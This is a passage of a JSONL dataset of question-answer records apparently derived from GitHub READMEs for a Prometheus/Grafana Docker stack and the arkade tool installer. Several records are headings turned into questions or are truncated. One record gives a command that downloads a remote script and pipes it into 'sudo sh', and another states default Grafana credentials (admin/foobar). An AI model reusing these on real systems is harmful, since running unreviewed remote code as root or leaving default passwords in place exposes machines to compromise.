[aspnet-servicediscovery-patterns](https://github.com/cecilphillip/aspnet-servicediscovery-patterns) - Samples of implementing Service Discovery patterns with ASP.NET Core.\n  * [AspNetAuthorizationWorkshop](https://github.com/blowdart/AspNetAuthorizationWorkshop) - A workshop for moving through the various new pieces in ASP.NET Core Authorization\n  * [BikeSharing360 Suite of Apps from Microsoft](https://blogs.msdn.microsoft.com/visualstudio/2016/12/14/connectdemos-2016-bikesharing360-on-github/) Presented December Connect 2016 Conference, a compreshsive set of interworking apps for both enterprise users and the consumers (bike riders): [Mobile Apps](https://github.com/Microsoft/BikeSharing360_MobileApps), [Backend Services](https://github.com/Microsoft/BikeSharing360_BackendServices), [Websites](https://github.com/Microsoft/BikeSharing360_Websites), [Single Container Apps](https://github.com/Microsoft/BikeSharing360_SingleContainer), [Multi Container Apps](https://github.com/Microsoft/BikeSharing360_MultiContainer), [Cognitive Services Kiosk App](https://github.com/Microsoft/BikeSharing360_CognitiveServicesKioskApp),\n [Azure Bot App](https://github.com/Microsoft/BikeSharing360_BotApps).\n  * [Clean Architecture Manga](https://github.com/ivanpaulovich/clean-architecture-manga) - Clean Architecture sample with .NET Core 3.0 and C# 8. Use cases as central organising structure, completely testable, decoupled from frameworks.\n  * [cloudscribe](https://github.com/cloudscribe/cloudscribe) - ASP.NET Core Multi-tenant web application foundation.\n  * [CoreCodeCamp](https://github.com/shawnwildermuth/CoreCodeCamp) - An Open Source Website for running small, local development events.\n  * [DotNetClub](https://github.com/scheshan/DotNetClub) - Tiny club written in ASP.NET Core.\n  * [eShopOnWeb](https://github.com/dotnet-architecture/eShopOnWeb)", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897709"}
{"id": "gh_7eae386370f3", "question": "How to: A Prometheus & Grafana docker-compose stack", "question_body": "About vegasbrianc/prometheus", "answer": "Here's a quick start using Play-With-Docker (PWD) to start-up a [Prometheus](http://prometheus.io/) stack containing Prometheus, Grafana and Node scraper to monitor your Docker infrastructure. The Try in PWD below allows you to quickly deploy the entire Prometheus stack with a click of the button. This will allow you to quickly test the stack to see if it meets your needs.\n\n[![Try in PWD](https://github.com/play-with-docker/stacks/raw/master/assets/images/button.png)](https://labs.play-with-docker.com/?stack=https://raw.githubusercontent.com/vegasbrianc/prometheus/master/pwd-stack.yml)", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680628"}
{"id": "gh_3939362da5b5", "question": "How to: Pre-requisites", "question_body": "About vegasbrianc/prometheus", "answer": "Before we get started installing the Prometheus stack. Ensure you install the latest version of docker and [docker swarm](https://docs.docker.com/engine/swarm/swarm-tutorial/) on your Docker host machine. Docker Swarm is installed automatically when using Docker for Mac or Docker for Windows.", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680643"}
{"id": "gh_ee01060a5fda", "question": "How to: Installation & Configuration", "question_body": "About vegasbrianc/prometheus", "answer": "Clone the project locally to your Docker host.\n\nIf you would like to change which targets should be monitored or make configuration changes edit the [/prometheus/prometheus.yml](prometheus/prometheus.yml) file. The targets section is where you define what should be monitored by Prometheus. The names defined in this file are actually sourced from the service name in the docker-compose file. If you wish to change names of the services you can add the \"container_name\" parameter in the `docker-compose.yml` file.\n\nOnce configurations are done let's start it up. From the /prometheus project directory run the following command:\n\n    $ HOSTNAME=$(hostname) docker stack deploy -c docker-stack.yml prom\n\nThat's it the `docker stack deploy' command deploys the entire Grafana and Prometheus stack automagically to the Docker Swarm. By default cAdvisor and node-exporter are set to Global deployment which means they will propogate to every docker host attached to the Swarm.\n\nThe Grafana Dashboard is now accessible via: `http://\n:3000` for example http://192.168.10.1:3000\n\n\tusername - admin\n\tpassword - foobar (Password is stored in the `/grafana/config.monitoring` env file)\n\nIn order to check the status of the newly created stack:\n\n    $ docker stack ps prom\n\nView running services:\n\n    $ docker service ls\n\nView logs for a specific service\n\n    $ docker service logs prom_", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4550, "answer_score": 10, "has_code": true, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680654"}
{"id": "gh_890bb6ef1a20", "question": "How to: Add Datasources and Dashboards", "question_body": "About vegasbrianc/prometheus", "answer": "Grafana version 5.0.0 has introduced the concept of provisioning. This allows us to automate the process of adding Datasources & Dashboards. The `/grafana/provisioning/` directory contains the `datasources` and `dashboards` directories. These directories contain YAML files which allow us to specify which datasource or dashboards should be installed. \n\nIf you would like to automate the installation of additional dashboards just copy the Dashboard `JSON` file to `/grafana/provisioning/dashboards` and it will be provisioned next time you stop and start Grafana.", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680661"}
{"id": "gh_0fce46da4407", "question": "How to: Install Dashboards the old way", "question_body": "About vegasbrianc/prometheus", "answer": "I created a Dashboard template which is available on [Grafana Docker Dashboard](https://grafana.net/dashboards/179). Simply select Import from the Grafana menu -> Dashboards -> Import and provide the Dashboard ID [#179](https://grafana.net/dashboards/179)\n\nThis dashboard is intended to help you get started with monitoring. If you have any changes you would like to see in the Dashboard let me know so I can update Grafana site as well.\n\nHere's the Dashboard Template\n\n![Grafana Dashboard](https://raw.githubusercontent.com/vegasbrianc/prometheus/master/images/Dashboard.png)\n\nGrafana Dashboard - `dashboards/Grafana_Dashboard.json`\nAlerting Dashboard", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680669"}
{"id": "gh_54b6a62f3d71", "question": "How to: Test Alerts", "question_body": "About vegasbrianc/prometheus", "answer": "A quick test for your alerts is to stop a service. Stop the node_exporter container and you should notice shortly the alert arrive in Slack. Also check the alerts in both the Alert Manager and Prometheus Alerts just to understand how they flow through the system.\n\nHigh load test alert - `docker run --rm -it busybox sh -c \"while true; do :; done\"`\n\nLet this run for a few minutes and you will notice the load alert appear. Then Ctrl+C to stop this container.", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680677"}
{"id": "gh_04881fdcffc5", "question": "How to: Add Additional Datasources", "question_body": "About vegasbrianc/prometheus", "answer": "Now we need to create the Prometheus Datasource in order to connect Grafana to Prometheus \n* Click the `Grafana` Menu at the top left corner (looks like a fireball)\n* Click `Data Sources`\n* Click the green button `Add Data Source`.\n\n**Ensure the Datasource name `Prometheus`is using uppercase `P`**", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680684"}
{"id": "gh_6c5b19a878c6", "question": "How to: Security Considerations", "question_body": "About vegasbrianc/prometheus", "answer": "This project is intended to be a quick-start to get up and running with Docker and Prometheus. Security has not been implemented in this project. It is the users responsability to implement Firewall/IpTables and SSL.\n\nSince this is a template to get started Prometheus and Alerting services are exposing their ports to allow for easy troubleshooting and understanding of how the stack works.", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680690"}
{"id": "gh_69fb5216b30a", "question": "How to: Deploy Prometheus stack with Traefik", "question_body": "About vegasbrianc/prometheus", "answer": "Same requirements as above. Swarm should be enabled and the Repo should be cloned to your Docker host.\n\nIn the `docker-traefik-prometheus`directory run the following:\n\n    docker stack deploy -c docker-traefik-stack.yml traefik\n\nVerify all the services have been provisioned. The Replica count for each service should be 1/1 \n**Note this can take a couple minutes**\n\n    docker service ls", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4550, "answer_score": 10, "has_code": true, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680697"}
{"id": "gh_e3a7ea454705", "question": "How to: Prometheus & Grafana now have hostnames", "question_body": "About vegasbrianc/prometheus", "answer": "* Grafana - http://grafana.localhost\n* Prometheus - http://prometheus.localhost", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680703"}
{"id": "gh_4c6bf7b95c98", "question": "How to: Check the Metrics", "question_body": "About vegasbrianc/prometheus", "answer": "Once all the services are up we can open the Traefik Dashboard. The dashboard should show us our frontend and backends configured for both Grafana and Prometheus.\n\n    http://localhost:8080\n\nTake a look at the metrics which Traefik is now producing in Prometheus metrics format\n\n    http://localhost:8080/metrics", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4550, "answer_score": 10, "has_code": true, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680710"}
{"id": "gh_8e2a9dd3a137", "question": "How to: Login to Grafana and Visualize Metrics", "question_body": "About vegasbrianc/prometheus", "answer": "Grafana is an Open Source visualization tool for the metrics collected with Prometheus. Next, open Grafana to view the Traefik Dashboards.\n**Note: Firefox doesn't properly work with the below URLS please use Chrome**\n\n    http://grafana.localhost\n\nUsername: admin\nPassword: foobar\n\nOpen the Traefik Dashboard and select the different backends available\n\n**Note: Upper right-hand corner of Grafana switch the default 1 hour time range down to 5 minutes. Refresh a couple times and you should see data start flowing**", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4550, "answer_score": 10, "has_code": true, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680717"}
{"id": "gh_2a2cfbe5456d", "question": "How to: Production Security:", "question_body": "About vegasbrianc/prometheus", "answer": "Here are just a couple security considerations for this stack to help you get started.\n* Remove the published ports from Prometheus and Alerting servicesi and only allow Grafana to be accessed\n* Enable SSL for Grafana with a Proxy such as [jwilder/nginx-proxy](https://hub.docker.com/r/jwilder/nginx-proxy/) or [Traefik](https://traefik.io/) with Let's Encrypt\n* Add user authentication via a Reverse Proxy [jwilder/nginx-proxy](https://hub.docker.com/r/jwilder/nginx-proxy/) or [Traefik](https://traefik.io/) for services cAdvisor, Prometheus, & Alerting as they don't support user authenticaiton\n* Terminate all services/containers via HTTPS/SSL/TLS", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680723"}
{"id": "gh_898520e4034f", "question": "How to: Troubleshooting", "question_body": "About vegasbrianc/prometheus", "answer": "It appears some people have reported no data appearing in Grafana. If this is happening to you be sure to check the time range being queried within Grafana to ensure it is using Today's date with current time.", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680729"}
{"id": "gh_ae6196ba36dc", "question": "How to: Interesting Projects that use this Repo", "question_body": "About vegasbrianc/prometheus", "answer": "Several projects utilize this Prometheus stack. Here's the list of projects:\n\n* [Docker Pulls](https://github.com/vegasbrianc/docker-pulls) - Visualize Docker-Hub pull statistics with Prometheus\n* [GitHub Monitoring](https://github.com/vegasbrianc/github-monitoring) - Monitor your GitHub projects with Prometheus\n* [Traefik Reverse Proxy/Load Balancer Monitoring](https://github.com/vegasbrianc/docker-traefik-prometheus) - Monitor the popular Reverse Proxy/Load Balancer Traefik with Prometheus\n* [internet monitoring](https://github.com/maxandersen/internet-monitoring) - Monitor your local network, internet connection and speed with Prometheus.\n* [Dockerize Your Dev](https://github.com/RiFi2k/dockerize-your-dev) - Docker compose a VM to get LetsEncrypt / NGINX proxy auto provisioning, ELK logging, Prometheus / Grafana monitoring, Portainer GUI, and more...\n\n*Have an interesting Project which uses this Repo? Submit yours to the list*", "tags": ["vegasbrianc"], "source": "github_gists", "category": "vegasbrianc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4550, "answer_score": 10, "has_code": false, "url": "https://github.com/vegasbrianc/prometheus", "collected_at": "2026-01-17T13:00:59.680738"}
{"id": "gh_bc49c16f1e97", "question": "How to: Support arkade 👋", "question_body": "About alexellis/arkade", "answer": "Arkade is built to save you time so you can focus and get productive quickly.\nYou can support Alex's work on arkade [via GitHub Sponsors](https://github.com/sponsors/alexellis/).\n\nOr get a copy of his eBook on Go so you can learn how to build tools like k3sup, arkade, and OpenFaaS for yourself:", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588293"}
{"id": "gh_549f316cd52b", "question": "How to: Should you try arkade?", "question_body": "About alexellis/arkade", "answer": "> I was setting up a new dev environment yesterday. Kind, helm, kustomize, kubectl, all this stuff. My take is - arkade is highly underappreciated.\n> I'd spend an hour in the past to install such tools. With arkade it was under ten minutes.\n>\n> [Ivan Velichko](https://twitter.com/iximiuz/status/1422605221226860548?s=20), SRE @ Booking.com\n\n> Before arkade whenever I used to spin up an instance, I used to go to multiple sites and download the binary. Arkade is one of my favourite tools.\n>\n> [Kumar Anurag](https://kubesimplify.com/arkade) - Cloud Native Enthusiast\n\n> It's hard to use K8s without Arkade these days.\n> My team at @lftechnology absolutely loves it.\n>\n> [@Yankexe](https://twitter.com/yankexe/status/1305427718050250754?s=20)\n\n> arkade is really a great tool to install CLI tools, and system packages, check this blog on how to get started with arkade it's a time saver.\n>\n> [Kiran Satya Raj](https://twitter.com/jksrtwt/status/1556592117627047936?s=20&t=g0gnSP98jg3ZwU7sQqUrLw)\n\n> This is real magic get #kubernetes up and going in a second; then launch #openfaas a free better than lambda solution that uses docker images.\n>\n> [Greg](https://twitter.com/cactusanddove) runs Fullstack JS and is a JavaScript developer\n\n> for getting the basics installed, nothing beats arkade\n> it can install commonly used cli tools like kubectl locally for you, as well as common k8s pkgs like ingress-nginx or portainer\n>\n> [@arghzero](https://twitter.com/ArghZero/status/1346097288851070983?s=20)\n\n> I finally got around to installing Arkade, super simple!\n> quicker to install this than the argocli standalone commands, but there are lots of handy little tools in there.\n> also, the neat little part about arkade, not only does it make it easy to install a ton of different apps and CLIs you can also get the info on them as well pretty quickly.\n>\n> [Michael Cade @ Kasten](https://twitter.com/MichaelCade1/status/1390403831167700995?s=20)\n\n> You've to install the latest and greatest tools for your daily @kubernetesio tasks? No problem, check out #arkade the open source #kubernetes marketplace 👍\n>\n> [Thorsten Hans](https://twitter.com/ThorstenHans/status/1457982292597608449?s=20) - Cloud Native consultant\n\n> If you want to install quickly a new tool in your dev env or in your k8s cluster you can use the Arkade (https://github.com/alexellis/arkade) easy and quick you should it try out! Ps. I contribute to this project 🥰\n>\n> [Carlos Panato](https://twitter.com/comedordexis/status/1423339283713347587) - Staff engineer @ Mattermost\n\n> arkade is the 'brew install' of Kubernetes. You can install and run an application in a single command. Finally! https://github.com/alexellis/arkade / by Alex Ellis\n>\n> [John Arundel](https://twitter.com/bitfield/status/1242385165445455872?s=20) - Cloud consultant, author", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588324"}
{"id": "gh_8cf6a6b06f4d", "question": "How to: Note: you can also run without `sudo` and move the binary yourself", "question_body": "About alexellis/arkade", "answer": "curl -sLS https://get.arkade.dev | sudo sh\n\narkade --help\nark --help  # a handy alias", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588333"}
{"id": "gh_915ed763a390", "question": "How to: Windows users with Git Bash", "question_body": "About alexellis/arkade", "answer": "curl -sLS https://get.arkade.dev | sh\n```\n\n> Windows users: arkade requires bash to be available, therefore Windows users should [install and use Git Bash](https://git-scm.com/downloads)\n\nAn alias of `ark` is created at installation time, so you can also run `ark install APP`", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588340"}
{"id": "gh_7c6103c3dda8", "question": "How to: Usage overview", "question_body": "About alexellis/arkade", "answer": "Arkade can be used to install Kubernetes apps or to download CLI tools.\n\n* `arkade install` - install a Kubernetes app\n* `arkade info` - see the post installation screen for a Kubernetes app\n* `arkade get` - download a CLI tool\n* `arkade update` - perform a self-update of arkade on MacOS and Linux\n\nAn arkade \"app\" could represent a helm chart such as `openfaas/faas-netes`, a custom CLI installer such as `istioctl`, or a set of static manifests (i.e. MetalLB).\n\nAn arkade \"tool\" is a CLI that can be downloaded for your operating system. Arkade downloads statically-linked binaries from their upstream locations on GitHub or the vendor's chosen URL such as with `kubectl` and `terraform`.\n\n> Did you know? Arkade users run `arkade get` both on their local workstations, and on their CI runners such as GitHub Actions or Jenkins.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588349"}
{"id": "gh_d5cabe4cff50", "question": "How to: Download CLI tools with arkade", "question_body": "About alexellis/arkade", "answer": "arkade downloads the correct version of a CLI for your OS and CPU.\n\nWith automatic detection of: Windows / MacOS / Linux / Intel / ARM.\n\n```bash", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588354"}
{"id": "gh_48cad9d20031", "question": "How to: Override machine os/arch", "question_body": "About alexellis/arkade", "answer": "arkade get faas-cli \\\n  --arch arm64 \\\n  --os linux", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588363"}
{"id": "gh_54eac5daa290", "question": "How to: Install System Packages", "question_body": "About alexellis/arkade", "answer": "System packages are tools designed for installation on a Linux workstation, server or CI runner.\n\nThese are a more limited group of applications designed for quick setup, scripting and CI, and generally do not fit into the `arkade get` pattern, due to additional installation steps or system configuration.\n\n```bash", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588384"}
{"id": "gh_ac4ab7391280", "question": "How to: Install Go 1.18 to /tmp/go", "question_body": "About alexellis/arkade", "answer": "arkade system install go \\\n  --version 1.18 \\\n  --path /tmp/", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588391"}
{"id": "gh_619a5fa7a335", "question": "How to: with systemd enabled", "question_body": "About alexellis/arkade", "answer": "arkade system install containerd \\\n  --systemd\n```\n\nRun the following to see what's available `arkade system install`:\n\n```\n  actions-runner   Install GitHub Actions Runner\n  buildkitd        Install Buildkitd\n  caddy            Install Caddy Server\n  cni              Install CNI plugins\n  containerd       Install containerd\n  firecracker      Install Firecracker\n  gitlab-runner    Install GitLab Runner\n  go               Install Go\n  node             Install Node.js\n  node_exporter    Install Node Exporter\n  prometheus       Install Prometheus\n  pwsh             Install Powershell\n  registry         Install registry\n  tc-redirect-tap  Install tc-redirect-tap\n  zvol-snapshotter Install containerd zvol snapshotter\n```\n\nThe initial set of system apps is now complete, learn more in the original proposal: [Feature: system packages for Linux servers, CI and workstations #654](https://github.com/alexellis/arkade/issues/654)", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588400"}
{"id": "gh_db0cc4f7f17c", "question": "How to: Install Packages from OCI images", "question_body": "About alexellis/arkade", "answer": "For packages distributed in Open Container Initiative (OCI) images, you can use `arkade oci install` to extract them to a given folder on your system.\n\nvmmeter is one example of a package that is only published as a container image, which is not released on a GitHub releases page.\n\n```bash\narkade oci install ghcr.io/openfaasltd/vmmeter \\\n  --path /usr/local/bin\n```\n\n* `--path` - the folder to extract the package to\n* `--version` - the version of the package to extract, if not specified the `:latest` tag is used\n* `--arch` - the architecture to extract, if not specified the host's architecture is used", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588407"}
{"id": "gh_42fd7d4e78f7", "question": "How to: Install CLIs during CI with GitHub Actions", "question_body": "About alexellis/arkade", "answer": "* [alexellis/arkade-get@master](https://github.com/alexellis/arkade-get)\n\nExample of downloading faas-cli (specific version) and kubectl (latest), putting them into the PATH automatically, and executing one of them in a subsequent step.\n\n```yaml\n    - uses: alexellis/arkade-get@master\n      with:\n        kubectl: latest\n        faas-cli: 0.14.10\n    - name: check for faas-cli\n      run: |\n        faas-cli version\n```\n\nIf you just need system applications, you could also try \"setup-arkade\":\n\n* [alexellis/setup-arkade@master](https://github.com/alexellis/setup-arkade)\n\n```yaml\n    - uses: alexellis/setup-arkade@v2\n    - name: Install containerd and go\n      run: |\n        arkade system install containerd\n        arkade system install go\n```", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588415"}
{"id": "gh_125cca3f1f54", "question": "How to: Bump Helm chart versions", "question_body": "About alexellis/arkade", "answer": "To bump the patch version of your Helm chart, run `arkade chart bump -f ./chart/values.yaml`. This updates the patch component of the version specified in Chart.yaml.\n\n```bash\narkade chart bump -f ./charts/flagger/values.yaml\ncharts/flagger/Chart.yaml 1.36.0 => 1.37.0\n```\n\nBy default, the new version is written to stdout. To bump the version in the file, run the above command with the `--write` flag.\nTo bump the version in the chart's Chart.yaml only if the chart has any changes, specify the `--check-for-updates` flag:\n\n```bash\narkade chart bump -f ./charts/flagger/values.yaml --check-for-updates\nno changes detected in charts/flagger/values.yaml; skipping version bump\n```\n\nThe directory that contains the Helm chart should be a Git repository. If the flag is specified, the command runs `git diff --exit-code\n` to figure out if the file has any changes.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588422"}
{"id": "gh_66524f104928", "question": "How to: Verify and upgrade images in Helm charts", "question_body": "About alexellis/arkade", "answer": "There are two commands built into arkade designed for software vendors and open source maintainers.\n\n* `arkade helm chart upgrade` - run this command to scan for container images and update them automatically by querying a remote registry.\n* `arkade helm chart verify` - after changing the contents of a values.yaml or docker-compose.yaml file, this command will check each image exists on a remote registry\n\nWhilst end-users may use a GitOps-style tool to deploy charts and update their versions, maintainers need to make conscious decisions about when and which images to change within a Helm chart or compose file.\n\nThese two features are used by OpenFaaS Ltd on projects and products like OpenFaaS CE/Pro (Serverless platform) and faasd (docker-compose file).", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588429"}
{"id": "gh_1efa34d036b8", "question": "How to: Upgrade images within a Helm chart", "question_body": "About alexellis/arkade", "answer": "With the command `arkade chart upgrade` you can upgrade the image tags of a Helm chart from within a values.yaml file to the latest available semantically versioned image.\n\nOriginal YAML file:\n\n```yaml\nstan:\n  # Image used for nats deployment when using async with NATS-Streaming.\n  image: nats-streaming:0.24.6\n```\n\nRunning the command with `--verbose` prints the upgraded tags to stderr, allowing the output to stdout to be piped to a file.\n\n```bash\narkade chart upgrade -f \\\n  ~/go/src/github.com/openfaas/faas-netes/chart/openfaas/values.yaml \\\n  --verbose\n\n2023/01/03 10:12:47 Verifying images in: /home/alex/go/src/github.com/openfaas/faas-netes/chart/openfaas/values.yaml\n2023/01/03 10:12:47 Found 18 images\n2023/01/03 10:12:48 [natsio/prometheus-nats-exporter] 0.8.0 => 0.10.1\n2023/01/03 10:12:50 [nats-streaming] 0.24.6 => 0.25.2\n2023/01/03 10:12:52 [prom/prometheus] v2.38.0 => 2.41.0\n2023/01/03 10:12:54 [prom/alertmanager] v0.24.0 => 0.25.0\n2023/01/03 10:12:54 [nats] 2.9.2 => 2.9.10\n```\n\nUpdated YAML file printed to console:\n\n```yaml\nstan:\n  # Image used for nats deployment when using async with NATS-Streaming.\n  image: nats-streaming:0.25.2\n```\n\nWrite the updated image tags back to the file:\n\n```bash\narkade chart upgrade -f \\\n  ~/go/src/github.com/openfaas/faasd/docker-compose.yaml \\\n  --write\n```\n\nSupported:\n\n* `image:` - at the top level\n* `component.image:` i.e. one level of nesting\n* Docker Hub and GitHub Container Registry\n\nNot supported yet:\n* Custom strings that don't match the word \"image\": `clientImage: `\n* Split fields for the image and tag name i.e. `image.name` and `image.tag`\n* Third-level nesting `openfaas.gateway.image`", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588440"}
{"id": "gh_169d851eefeb", "question": "How to: Verify images within a helm chart", "question_body": "About alexellis/arkade", "answer": "The `arkade chart verify` command validates that all images specified are accessible on a remote registry and takes a values.yaml file as its input.\n\nSuccessful checking of a chart with `image: ghcr.io/openfaas/cron-connector:TAG`:\n\n```bash\narkade chart verify  -f ~/go/src/github.com/openfaas/faas-netes/chart/cron-connector/values.yaml\n\necho $?\n0\n```\n\nThere is an exit code of zero and no output when the check passes.\n\nYou can pass `--verbose` to see a detailed view of what's happening.\n\nChecking of nested components, where two of the images do not exist `autoscaler.image` and `dashboard.image`:\n\n```bash\narkade chart verify  -f ~/go/src/github.com/openfaas/faas-netes/chart/openfaas/values.yamlecho $?\n2 images are missing in /Users/alex/go/src/github.com/openfaas/faas-netes/chart/openfaas/values.yaml\n\nCOMPONENT           IMAGE\ndashboard           ghcr.io/openfaasltd/openfaas-dashboard:0.9.8\nautoscaler          ghcr.io/openfaasltd/autoscaler:0.2.5\n\nError: verifying failed\n\necho $?\n1\n```\n\nSupported:\n\n* `image:` - at the top level\n* `component.image:` i.e. one level of nesting\n\nNot supported yet:\n* Custom strings that don't match the word \"image\": `clientImage: `\n* Split fields for the image and tag name i.e. `image.name` and `image.tag`\n* Third-level nesting `openfaas.gateway.image`", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4524, "answer_score": 10, "has_code": true, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588449"}
{"id": "gh_6826f581719f", "question": "How to: Installing apps with arkade", "question_body": "About alexellis/arkade", "answer": "You'll need a Kubernetes cluster to arkade. Unlike cloud-based marketplaces, arkade doesn't have any special pre-requirements and can be used with any private or public cluster.", "tags": ["alexellis"], "source": "github_gists", "category": "alexellis", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4524, "answer_score": 10, "has_code": false, "url": "https://github.com/alexellis/arkade", "collected_at": "2026-01-17T13:01:02.588455"}
